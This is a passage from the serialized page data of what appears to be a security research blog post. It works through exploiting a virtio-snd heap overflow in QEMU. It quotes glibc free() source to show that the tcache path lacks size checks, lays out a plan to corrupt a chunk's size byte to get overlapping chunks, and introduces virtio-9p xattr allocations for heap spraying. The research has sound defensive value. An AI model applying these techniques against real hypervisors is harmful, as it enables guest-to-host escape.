the\n",{"type":23,"tag":504,"props":128671,"children":128672},{"class":5016,"line":5367},[128673],{"type":23,"tag":504,"props":128674,"children":128675},{"style":5021},[128676],{"type":29,"value":128677},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":504,"props":128679,"children":128680},{"class":5016,"line":5388},[128681],{"type":23,"tag":504,"props":128682,"children":128683},{"style":5021},[128684],{"type":29,"value":128685},"     Therefore we can exclude some size values which might appear\n",{"type":23,"tag":504,"props":128687,"children":128688},{"class":5016,"line":5397},[128689],{"type":23,"tag":504,"props":128690,"children":128691},{"style":5021},[128692],{"type":29,"value":128693},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":504,"props":128695,"children":128696},{"class":5016,"line":5649},[128697,128701,128705,128710,128715,128720,128725,128729,128733,128737,128741,128745,128750,128754],{"type":23,"tag":504,"props":128698,"children":128699},{"style":5067},[128700],{"type":29,"value":33449},{"type":23,"tag":504,"props":128702,"children":128703},{"style":5058},[128704],{"type":29,"value":5110},{"type":23,"tag":504,"props":128706,"children":128707},{"style":5139},[128708],{"type":29,"value":128709},"__builtin_expect",{"type":23,"tag":504,"props":128711,"children":128712},{"style":5058},[128713],{"type":29,"value":128714}," ((",{"type":23,"tag":504,"props":128716,"children":128717},{"style":5030},[128718],{"type":29,"value":128719},"uintptr_t",{"type":23,"tag":504,"props":128721,"children":128722},{"style":5058},[128723],{"type":29,"value":128724},") p ",{"type":23,"tag":504,"props":128726,"children":128727},{"style":5047},[128728],{"type":29,"value":12508},{"type":23,"tag":504,"props":128730,"children":128731},{"style":5058},[128732],{"type":29,"value":5110},{"type":23,"tag":504,"props":128734,"children":128735},{"style":5030},[128736],{"type":29,"value":128719},{"type":23,"tag":504,"props":128738,"children":128739},{"style":5058},[128740],{"type":29,"value":5128},{"type":23,"tag":504,"props":128742,"children":128743},{"style":5047},[128744],{"type":29,"value":6368},{"type":23,"tag":504,"props":128746,"children":128747},{"style":5058},[128748],{"type":29,"value":128749},"size, ",{"type":23,"tag":504,"props":128751,"children":128752},{"style":5083},[128753],{"type":29,"value":708},{"type":23,"tag":504,"props":128755,"children":128756},{"style":5058},[128757],{"type":29,"value":5200},{"type":23,"tag":504,"props":128759,"children":128760},{"class":5016,"line":5666},[128761,128766,128771,128775,128780,128785,128789],{"type":23,"tag":504,"props":128762,"children":128763},{"style":5047},[128764],{"type":29,"value":128765},"      ||",{"type":23,"tag":504,"props":128767,"children":128768},{"style":5139},[128769],{"type":29,"value":128770}," __builtin_expect",{"type":23,"tag":504,"props":128772,"children":128773},{"style":5058},[128774],{"type":29,"value":5110},{"type":23,"tag":504,"props":128776,"children":128777},{"style":5139},[128778],{"type":29,"value":128779},"misaligned_chunk",{"type":23,"tag":504,"props":128781,"children":128782},{"style":5058},[128783],{"type":29,"value":128784}," (p), ",{"type":23,"tag":504,"props":128786,"children":128787},{"style":5083},[128788],{"type":29,"value":708},{"type":23,"tag":504,"props":128790,"children":128791},{"style":5058},[128792],{"type":29,"value":21764},{"type":23,"tag":504,"props":128794,"children":128795},{"class":5016,"line":5683},[128796,128801,128805,128810],{"type":23,"tag":504,"props":128797,"children":128798},{"style":5139},[128799],{"type":29,"value":128800},"    malloc_printerr",{"type":23,"tag":504,"props":128802,"children":128803},{"style":5058},[128804],{"type":29,"value":5110},{"type":23,"tag":504,"props":128806,"children":128807},{"style":6297},[128808],{"type":29,"value":128809},"\"free(): invalid pointer\"",{"type":23,"tag":504,"props":128811,"children":128812},{"style":5058},[128813],{"type":29,"value":5888},{"type":23,"tag":504,"props":128815,"children":128816},{"class":5016,"line":5696},[128817],{"type":23,"tag":504,"props":128818,"children":128819},{"style":5021},[128820],{"type":29,"value":128821},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":504,"props":128823,"children":128824},{"class":5016,"line":5705},[128825],{"type":23,"tag":504,"props":128826,"children":128827},{"style":5021},[128828],{"type":29,"value":128829},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":504,"props":128831,"children":128832},{"class":5016,"line":5728},[128833,128837,128841,128846,128851,128855,128860,128864,128868,128873],{"type":23,"tag":504,"props":128834,"children":128835},{"style":5067},[128836],{"type":29,"value":33449},{"type":23,"tag":504,"props":128838,"children":128839},{"style":5058},[128840],{"type":29,"value":5110},{"type":23,"tag":504,"props":128842,"children":128843},{"style":5139},[128844],{"type":29,"value":128845},"__glibc_unlikely",{"type":23,"tag":504,"props":128847,"children":128848},{"style":5058},[128849],{"type":29,"value":128850}," (size ",{"type":23,"tag":504,"props":128852,"children":128853},{"style":5047},[128854],{"type":29,"value":2658},{"type":23,"tag":504,"props":128856,"children":128857},{"style":5058},[128858],{"type":29,"value":128859}," MINSIZE ",{"type":23,"tag":504,"props":128861,"children":128862},{"style":5047},[128863],{"type":29,"value":24459},{"type":23,"tag":504,"props":128865,"children":128866},{"style":5047},[128867],{"type":29,"value":14910},{"type":23,"tag":504,"props":128869,"children":128870},{"style":5139},[128871],{"type":29,"value":128872},"aligned_OK",{"type":23,"tag":504,"props":128874,"children":128875},{"style":5058},[128876],{"type":29,"value":128877}," (size)))\n",{"type":23,"tag":504,"props":128879,"children":128880},{"class":5016,"line":5737},[128881,128885,128889,128894],{"type":23,"tag":504,"props":128882,"children":128883},{"style":5139},[128884],{"type":29,"value":128800},{"type":23,"tag":504,"props":128886,"children":128887},{"style":5058},[128888],{"type":29,"value":5110},{"type":23,"tag":504,"props":128890,"children":128891},{"style":6297},[128892],{"type":29,"value":128893},"\"free(): invalid size\"",{"type":23,"tag":504,"props":128895,"children":128896},{"style":5058},[128897],{"type":29,"value":5888},{"type":23,"tag":504,"props":128899,"children":128900},{"class":5016,"line":5746},[128901],{"type":23,"tag":504,"props":128902,"children":128903},{"emptyLinePlaceholder":15},[128904],{"type":29,"value":5734},{"type":23,"tag":504,"props":128906,"children":128907},{"class":5016,"line":5813},[128908,128913],{"type":23,"tag":504,"props":128909,"children":128910},{"style":5139},[128911],{"type":29,"value":128912},"  check_inuse_chunk",{"type":23,"tag":504,"props":128914,"children":128915},{"style":5058},[128916],{"type":29,"value":128917},"(av, p);\n",{"type":23,"tag":504,"props":128919,"children":128920},{"class":5016,"line":5821},[128921],{"type":23,"tag":504,"props":128922,"children":128923},{"emptyLinePlaceholder":15},[128924],{"type":29,"value":5734},{"type":23,"tag":504,"props":128926,"children":128927},{"class":5016,"line":5851},[128928],{"type":23,"tag":504,"props":128929,"children":128930},{"style":5058},[128931],{"type":29,"value":128932},"  [...]\n",{"type":23,"tag":32,"props":128934,"children":128935},{},[128936],{"type":29,"value":128937},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":32,"props":128939,"children":128940},{},[128941,128943,128948,128950,128955,128957,128962,128964,128969],{"type":29,"value":128942},"The next check, however, ensures that the ",{"type":23,"tag":154,"props":128944,"children":128946},{"className":128945},[],[128947],{"type":29,"value":126039},{"type":29,"value":128949}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":154,"props":128951,"children":128953},{"className":128952},[],[128954],{"type":29,"value":126039},{"type":29,"value":128956}," must preserve alignment while also avoiding the ",{"type":23,"tag":154,"props":128958,"children":128960},{"className":128959},[],[128961],{"type":29,"value":128208},{"type":29,"value":128963}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":154,"props":128965,"children":128967},{"className":128966},[],[128968],{"type":29,"value":126039},{"type":29,"value":128970}," corruption looked very unreliable at first.",{"type":23,"tag":32,"props":128972,"children":128973},{},[128974],{"type":29,"value":128975},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":4743,"props":128977,"children":128979},{"code":128978,"language":3110,"meta":7,"className":18562,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[128980],{"type":23,"tag":154,"props":128981,"children":128982},{"__ignoreMap":7},[128983,128991,129018,129025,129032,129039,129058,129065,129085,129092,129120,129144,129151,129164,129206,129213,129221,129228,129245],{"type":23,"tag":504,"props":128984,"children":128985},{"class":5016,"line":5017},[128986],{"type":23,"tag":504,"props":128987,"children":128988},{"style":5030},[128989],{"type":29,"value":128990},"void\n",{"type":23,"tag":504,"props":128992,"children":128993},{"class":5016,"line":4868},[128994,128998,129002,129006,129010,129014],{"type":23,"tag":504,"props":128995,"children":128996},{"style":5139},[128997],{"type":29,"value":128256},{"type":23,"tag":504,"props":128999,"children":129000},{"style":5058},[129001],{"type":29,"value":5110},{"type":23,"tag":504,"props":129003,"children":129004},{"style":5030},[129005],{"type":29,"value":53688},{"type":23,"tag":504,"props":129007,"children":129008},{"style":5047},[129009],{"type":29,"value":11863},{"type":23,"tag":504,"props":129011,"children":129012},{"style":5041},[129013],{"type":29,"value":42721},{"type":23,"tag":504,"props":129015,"children":129016},{"style":5058},[129017],{"type":29,"value":5200},{"type":23,"tag":504,"props":129019,"children":129020},{"class":5016,"line":4876},[129021],{"type":23,"tag":504,"props":129022,"children":129023},{"style":5058},[129024],{"type":29,"value":12926},{"type":23,"tag":504,"props":129026,"children":129027},{"class":5016,"line":5099},[129028],{"type":23,"tag":504,"props":129029,"children":129030},{"style":5058},[129031],{"type":29,"value":128299},{"type":23,"tag":504,"props":129033,"children":129034},{"class":5016,"line":5203},[129035],{"type":23,"tag":504,"props":129036,"children":129037},{"emptyLinePlaceholder":15},[129038],{"type":29,"value":5734},{"type":23,"tag":504,"props":129040,"children":129041},{"class":5016,"line":5308},[129042,129046,129050,129054],{"type":23,"tag":504,"props":129043,"children":129044},{"style":5058},[129045],{"type":29,"value":128314},{"type":23,"tag":504,"props":129047,"children":129048},{"style":5047},[129049],{"type":29,"value":546},{"type":23,"tag":504,"props":129051,"children":129052},{"style":5139},[129053],{"type":29,"value":128323},{"type":23,"tag":504,"props":129055,"children":129056},{"style":5058},[129057],{"type":29,"value":128328},{"type":23,"tag":504,"props":129059,"children":129060},{"class":5016,"line":5336},[129061],{"type":23,"tag":504,"props":129062,"children":129063},{"emptyLinePlaceholder":15},[129064],{"type":29,"value":5734},{"type":23,"tag":504,"props":129066,"children":129067},{"class":5016,"line":5349},[129068,129073,129077,129081],{"type":23,"tag":504,"props":129069,"children":129070},{"style":5058},[129071],{"type":29,"value":129072},"  INTERNAL_SIZE_T size ",{"type":23,"tag":504,"props":129074,"children":129075},{"style":5047},[129076],{"type":29,"value":546},{"type":23,"tag":504,"props":129078,"children":129079},{"style":5139},[129080],{"type":29,"value":128650},{"type":23,"tag":504,"props":129082,"children":129083},{"style":5058},[129084],{"type":29,"value":128369},{"type":23,"tag":504,"props":129086,"children":129087},{"class":5016,"line":5367},[129088],{"type":23,"tag":504,"props":129089,"children":129090},{"emptyLinePlaceholder":15},[129091],{"type":29,"value":5734},{"type":23,"tag":504,"props":129093,"children":129094},{"class":5016,"line":5388},[129095,129099,129103,129107,129111,129115],{"type":23,"tag":504,"props":129096,"children":129097},{"style":5067},[129098],{"type":29,"value":33449},{"type":23,"tag":504,"props":129100,"children":129101},{"style":5058},[129102],{"type":29,"value":5110},{"type":23,"tag":504,"props":129104,"children":129105},{"style":5139},[129106],{"type":29,"value":128845},{"type":23,"tag":504,"props":129108,"children":129109},{"style":5058},[129110],{"type":29,"value":5110},{"type":23,"tag":504,"props":129112,"children":129113},{"style":5139},[129114],{"type":29,"value":128779},{"type":23,"tag":504,"props":129116,"children":129117},{"style":5058},[129118],{"type":29,"value":129119}," (p)))\n",{"type":23,"tag":504,"props":129121,"children":129122},{"class":5016,"line":5397},[129123,129127,129132,129136,129140],{"type":23,"tag":504,"props":129124,"children":129125},{"style":5067},[129126],{"type":29,"value":19037},{"type":23,"tag":504,"props":129128,"children":129129},{"style":5139},[129130],{"type":29,"value":129131}," malloc_printerr_tail",{"type":23,"tag":504,"props":129133,"children":129134},{"style":5058},[129135],{"type":29,"value":5110},{"type":23,"tag":504,"props":129137,"children":129138},{"style":6297},[129139],{"type":29,"value":128809},{"type":23,"tag":504,"props":129141,"children":129142},{"style":5058},[129143],{"type":29,"value":5888},{"type":23,"tag":504,"props":129145,"children":129146},{"class":5016,"line":5649},[129147],{"type":23,"tag":504,"props":129148,"children":129149},{"emptyLinePlaceholder":15},[129150],{"type":29,"value":5734},{"type":23,"tag":504,"props":129152,"children":129153},{"class":5016,"line":5666},[129154,129159],{"type":23,"tag":504,"props":129155,"children":129156},{"style":5067},[129157],{"type":29,"value":129158},"#if",{"type":23,"tag":504,"props":129160,"children":129161},{"style":5139},[129162],{"type":29,"value":129163}," USE_TCACHE\n",{"type":23,"tag":504,"props":129165,"children":129166},{"class":5016,"line":5683},[129167,129171,129175,129180,129184,129188,129193,129197,129202],{"type":23,"tag":504,"props":129168,"children":129169},{"style":5067},[129170],{"type":29,"value":33449},{"type":23,"tag":504,"props":129172,"children":129173},{"style":5058},[129174],{"type":29,"value":5110},{"type":23,"tag":504,"props":129176,"children":129177},{"style":5139},[129178],{"type":29,"value":129179},"__glibc_likely",{"type":23,"tag":504,"props":129181,"children":129182},{"style":5058},[129183],{"type":29,"value":128850},{"type":23,"tag":504,"props":129185,"children":129186},{"style":5047},[129187],{"type":29,"value":2658},{"type":23,"tag":504,"props":129189,"children":129190},{"style":5041},[129191],{"type":29,"value":129192}," mp_",{"type":23,"tag":504,"props":129194,"children":129195},{"style":5058},[129196],{"type":29,"value":357},{"type":23,"tag":504,"props":129198,"children":129199},{"style":5041},[129200],{"type":29,"value":129201},"tcache_max_bytes",{"type":23,"tag":504,"props":129203,"children":129204},{"style":5058},[129205],{"type":29,"value":21764},{"type":23,"tag":504,"props":129207,"children":129208},{"class":5016,"line":5696},[129209],{"type":23,"tag":504,"props":129210,"children":129211},{"style":5058},[129212],{"type":29,"value":31241},{"type":23,"tag":504,"props":129214,"children":129215},{"class":5016,"line":5705},[129216],{"type":23,"tag":504,"props":129217,"children":129218},{"style":5058},[129219],{"type":29,"value":129220},"      [...]\n",{"type":23,"tag":504,"props":129222,"children":129223},{"class":5016,"line":5728},[129224],{"type":23,"tag":504,"props":129225,"children":129226},{"emptyLinePlaceholder":15},[129227],{"type":29,"value":5734},{"type":23,"tag":504,"props":129229,"children":129230},{"class":5016,"line":5737},[129231,129235,129240],{"type":23,"tag":504,"props":129232,"children":129233},{"style":5067},[129234],{"type":29,"value":41413},{"type":23,"tag":504,"props":129236,"children":129237},{"style":5139},[129238],{"type":29,"value":129239}," tcache_put",{"type":23,"tag":504,"props":129241,"children":129242},{"style":5058},[129243],{"type":29,"value":129244}," (p, tc_idx);\n",{"type":23,"tag":504,"props":129246,"children":129247},{"class":5016,"line":5746},[129248],{"type":23,"tag":504,"props":129249,"children":129250},{"style":5058},[129251],{"type":29,"value":5403},{"type":23,"tag":32,"props":129253,"children":129254},{},[129255,129257,129262],{"type":29,"value":129256},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":154,"props":129258,"children":129260},{"className":129259},[],[129261],{"type":29,"value":126039},{"type":29,"value":129263}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":32,"props":129265,"children":129266},{},[129267,129269,129275,129276,129281],{"type":29,"value":129268},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":154,"props":129270,"children":129272},{"className":129271},[],[129273],{"type":29,"value":129274},"check_inuse_chunk",{"type":29,"value":5110},{"type":23,"tag":154,"props":129277,"children":129279},{"className":129278},[],[129280],{"type":29,"value":126167},{"type":29,"value":25998},{"type":23,"tag":4743,"props":129283,"children":129285},{"code":129284,"language":3110,"meta":7,"className":18562,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[129286],{"type":23,"tag":154,"props":129287,"children":129288},{"__ignoreMap":7},[129289,129296,129323,129330,129337,129344,129363,129370,129389,129396,129423,129446,129453,129479,129486,129497,129554],{"type":23,"tag":504,"props":129290,"children":129291},{"class":5016,"line":5017},[129292],{"type":23,"tag":504,"props":129293,"children":129294},{"style":5030},[129295],{"type":29,"value":128990},{"type":23,"tag":504,"props":129297,"children":129298},{"class":5016,"line":4868},[129299,129303,129307,129311,129315,129319],{"type":23,"tag":504,"props":129300,"children":129301},{"style":5139},[129302],{"type":29,"value":128256},{"type":23,"tag":504,"props":129304,"children":129305},{"style":5058},[129306],{"type":29,"value":5110},{"type":23,"tag":504,"props":129308,"children":129309},{"style":5030},[129310],{"type":29,"value":53688},{"type":23,"tag":504,"props":129312,"children":129313},{"style":5047},[129314],{"type":29,"value":11863},{"type":23,"tag":504,"props":129316,"children":129317},{"style":5041},[129318],{"type":29,"value":42721},{"type":23,"tag":504,"props":129320,"children":129321},{"style":5058},[129322],{"type":29,"value":5200},{"type":23,"tag":504,"props":129324,"children":129325},{"class":5016,"line":4876},[129326],{"type":23,"tag":504,"props":129327,"children":129328},{"style":5058},[129329],{"type":29,"value":12926},{"type":23,"tag":504,"props":129331,"children":129332},{"class":5016,"line":5099},[129333],{"type":23,"tag":504,"props":129334,"children":129335},{"style":5058},[129336],{"type":29,"value":128299},{"type":23,"tag":504,"props":129338,"children":129339},{"class":5016,"line":5203},[129340],{"type":23,"tag":504,"props":129341,"children":129342},{"emptyLinePlaceholder":15},[129343],{"type":29,"value":5734},{"type":23,"tag":504,"props":129345,"children":129346},{"class":5016,"line":5308},[129347,129351,129355,129359],{"type":23,"tag":504,"props":129348,"children":129349},{"style":5058},[129350],{"type":29,"value":128314},{"type":23,"tag":504,"props":129352,"children":129353},{"style":5047},[129354],{"type":29,"value":546},{"type":23,"tag":504,"props":129356,"children":129357},{"style":5139},[129358],{"type":29,"value":128323},{"type":23,"tag":504,"props":129360,"children":129361},{"style":5058},[129362],{"type":29,"value":128328},{"type":23,"tag":504,"props":129364,"children":129365},{"class":5016,"line":5336},[129366],{"type":23,"tag":504,"props":129367,"children":129368},{"emptyLinePlaceholder":15},[129369],{"type":29,"value":5734},{"type":23,"tag":504,"props":129371,"children":129372},{"class":5016,"line":5349},[129373,129377,129381,129385],{"type":23,"tag":504,"props":129374,"children":129375},{"style":5058},[129376],{"type":29,"value":129072},{"type":23,"tag":504,"props":129378,"children":129379},{"style":5047},[129380],{"type":29,"value":546},{"type":23,"tag":504,"props":129382,"children":129383},{"style":5139},[129384],{"type":29,"value":128650},{"type":23,"tag":504,"props":129386,"children":129387},{"style":5058},[129388],{"type":29,"value":128369},{"type":23,"tag":504,"props":129390,"children":129391},{"class":5016,"line":5367},[129392],{"type":23,"tag":504,"props":129393,"children":129394},{"emptyLinePlaceholder":15},[129395],{"type":29,"value":5734},{"type":23,"tag":504,"props":129397,"children":129398},{"class":5016,"line":5388},[129399,129403,129407,129411,129415,129419],{"type":23,"tag":504,"props":129400,"children":129401},{"style":5067},[129402],{"type":29,"value":33449},{"type":23,"tag":504,"props":129404,"children":129405},{"style":5058},[129406],{"type":29,"value":5110},{"type":23,"tag":504,"props":129408,"children":129409},{"style":5139},[129410],{"type":29,"value":128845},{"type":23,"tag":504,"props":129412,"children":129413},{"style":5058},[129414],{"type":29,"value":5110},{"type":23,"tag":504,"props":129416,"children":129417},{"style":5139},[129418],{"type":29,"value":128779},{"type":23,"tag":504,"props":129420,"children":129421},{"style":5058},[129422],{"type":29,"value":129119},{"type":23,"tag":504,"props":129424,"children":129425},{"class":5016,"line":5397},[129426,129430,129434,129438,129442],{"type":23,"tag":504,"props":129427,"children":129428},{"style":5067},[129429],{"type":29,"value":19037},{"type":23,"tag":504,"props":129431,"children":129432},{"style":5139},[129433],{"type":29,"value":129131},{"type":23,"tag":504,"props":129435,"children":129436},{"style":5058},[129437],{"type":29,"value":5110},{"type":23,"tag":504,"props":129439,"children":129440},{"style":6297},[129441],{"type":29,"value":128809},{"type":23,"tag":504,"props":129443,"children":129444},{"style":5058},[129445],{"type":29,"value":5888},{"type":23,"tag":504,"props":129447,"children":129448},{"class":5016,"line":5649},[129449],{"type":23,"tag":504,"props":129450,"children":129451},{"emptyLinePlaceholder":15},[129452],{"type":29,"value":5734},{"type":23,"tag":504,"props":129454,"children":129455},{"class":5016,"line":5666},[129456,129460,129464,129469,129474],{"type":23,"tag":504,"props":129457,"children":129458},{"style":5139},[129459],{"type":29,"value":128912},{"type":23,"tag":504,"props":129461,"children":129462},{"style":5058},[129463],{"type":29,"value":5110},{"type":23,"tag":504,"props":129465,"children":129466},{"style":5139},[129467],{"type":29,"value":129468},"arena_for_chunk",{"type":23,"tag":504,"props":129470,"children":129471},{"style":5058},[129472],{"type":29,"value":129473}," (p), p);",{"type":23,"tag":504,"props":129475,"children":129476},{"style":5021},[129477],{"type":29,"value":129478},"             // [1]\n",{"type":23,"tag":504,"props":129480,"children":129481},{"class":5016,"line":5683},[129482],{"type":23,"tag":504,"props":129483,"children":129484},{"emptyLinePlaceholder":15},[129485],{"type":29,"value":5734},{"type":23,"tag":504,"props":129487,"children":129488},{"class":5016,"line":5696},[129489,129493],{"type":23,"tag":504,"props":129490,"children":129491},{"style":5067},[129492],{"type":29,"value":129158},{"type":23,"tag":504,"props":129494,"children":129495},{"style":5139},[129496],{"type":29,"value":129163},{"type":23,"tag":504,"props":129498,"children":129499},{"class":5016,"line":5705},[129500,129504,129508,129512,129516,129520,129524,129528,129532,129536,129541,129545,129550],{"type":23,"tag":504,"props":129501,"children":129502},{"style":5067},[129503],{"type":29,"value":33449},{"type":23,"tag":504,"props":129505,"children":129506},{"style":5058},[129507],{"type":29,"value":5110},{"type":23,"tag":504,"props":129509,"children":129510},{"style":5139},[129511],{"type":29,"value":129179},{"type":23,"tag":504,"props":129513,"children":129514},{"style":5058},[129515],{"type":29,"value":128850},{"type":23,"tag":504,"props":129517,"children":129518},{"style":5047},[129519],{"type":29,"value":2658},{"type":23,"tag":504,"props":129521,"children":129522},{"style":5041},[129523],{"type":29,"value":129192},{"type":23,"tag":504,"props":129525,"children":129526},{"style":5058},[129527],{"type":29,"value":357},{"type":23,"tag":504,"props":129529,"children":129530},{"style":5041},[129531],{"type":29,"value":129201},{"type":23,"tag":504,"props":129533,"children":129534},{"style":5047},[129535],{"type":29,"value":16231},{"type":23,"tag":504,"props":129537,"children":129538},{"style":5058},[129539],{"type":29,"value":129540}," tcache ",{"type":23,"tag":504,"props":129542,"children":129543},{"style":5047},[129544],{"type":29,"value":17735},{"type":23,"tag":504,"props":129546,"children":129547},{"style":5030},[129548],{"type":29,"value":129549}," NULL",{"type":23,"tag":504,"props":129551,"children":129552},{"style":5058},[129553],{"type":29,"value":21764},{"type":23,"tag":504,"props":129555,"children":129556},{"class":5016,"line":5728},[129557],{"type":23,"tag":504,"props":129558,"children":129559},{"style":5058},[129560],{"type":29,"value":128932},{"type":23,"tag":32,"props":129562,"children":129563},{},[129564,129566,129571],{"type":29,"value":129565},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":154,"props":129567,"children":129569},{"className":129568},[],[129570],{"type":29,"value":126039},{"type":29,"value":129572},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":20844,"props":129574,"children":129575},{},[],{"type":23,"tag":32,"props":129577,"children":129578},{},[129579,129581,129586,129588,129594,129596,129601,129603,129609],{"type":29,"value":129580},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":154,"props":129582,"children":129584},{"className":129583},[],[129585],{"type":29,"value":126039},{"type":29,"value":129587}," field was initially ",{"type":23,"tag":154,"props":129589,"children":129591},{"className":129590},[],[129592],{"type":29,"value":129593},"0x200",{"type":29,"value":129595},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":154,"props":129597,"children":129599},{"className":129598},[],[129600],{"type":29,"value":128216},{"type":29,"value":129602},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":154,"props":129604,"children":129606},{"className":129605},[],[129607],{"type":29,"value":129608},"[0x210, 0x2f0]",{"type":29,"value":129610},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":32,"props":129612,"children":129613},{},[129614],{"type":29,"value":129615},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":320,"props":129617,"children":129619},{"id":129618},"heap-spraying",[129620],{"type":29,"value":129621},"Heap Spraying",{"type":23,"tag":32,"props":129623,"children":129624},{},[129625,129627,129632],{"type":29,"value":129626},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":154,"props":129628,"children":129630},{"className":129629},[],[129631],{"type":29,"value":129593},{"type":29,"value":129633},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":32,"props":129635,"children":129636},{},[129637,129639,129644],{"type":29,"value":129638},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":154,"props":129640,"children":129642},{"className":129641},[],[129643],{"type":29,"value":126234},{"type":29,"value":129645}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":32,"props":129647,"children":129648},{},[129649],{"type":29,"value":129650},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":20944,"props":129652,"children":129654},{"id":129653},"virtio-9p",[129655],{"type":29,"value":129653},{"type":23,"tag":32,"props":129657,"children":129658},{},[129659,129664],{"type":23,"tag":154,"props":129660,"children":129662},{"className":129661},[],[129663],{"type":29,"value":129653},{"type":29,"value":129665}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":32,"props":129667,"children":129668},{},[129669,129671,129677,129679,129685,129686,129692,129694,129699],{"type":29,"value":129670},"Through a ",{"type":23,"tag":154,"props":129672,"children":129674},{"className":129673},[],[129675],{"type":29,"value":129676},"P9_TXATTRCREATE",{"type":29,"value":129678}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":154,"props":129680,"children":129682},{"className":129681},[],[129683],{"type":29,"value":129684},".name",{"type":29,"value":4478},{"type":23,"tag":154,"props":129687,"children":129689},{"className":129688},[],[129690],{"type":29,"value":129691},".value",{"type":29,"value":129693}," fields, with the size of ",{"type":23,"tag":154,"props":129695,"children":129697},{"className":129696},[],[129698],{"type":29,"value":129691},{"type":29,"value":129700}," being directly controlled by the guest.",{"type":23,"tag":4743,"props":129702,"children":129704},{"code":129703,"language":3110,"meta":7,"className":18562,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[129705],{"type":23,"tag":154,"props":129706,"children":129707},{"__ignoreMap":7},[129708,129750,129757,129781,129794,129805,129830,129838,129863,129880,129896,129922,129929,129950,130016,130040,130053,130060,130067,130074,130081,130101,130122,130133,130140,130147,130154,130161,130210,130266,130311],{"type":23,"tag":504,"props":129709,"children":129710},{"class":5016,"line":5017},[129711,129715,129719,129724,129729,129733,129737,129741,129746],{"type":23,"tag":504,"props":129712,"children":129713},{"style":5030},[129714],{"type":29,"value":53107},{"type":23,"tag":504,"props":129716,"children":129717},{"style":5030},[129718],{"type":29,"value":53112},{"type":23,"tag":504,"props":129720,"children":129721},{"style":5058},[129722],{"type":29,"value":129723}," coroutine_fn 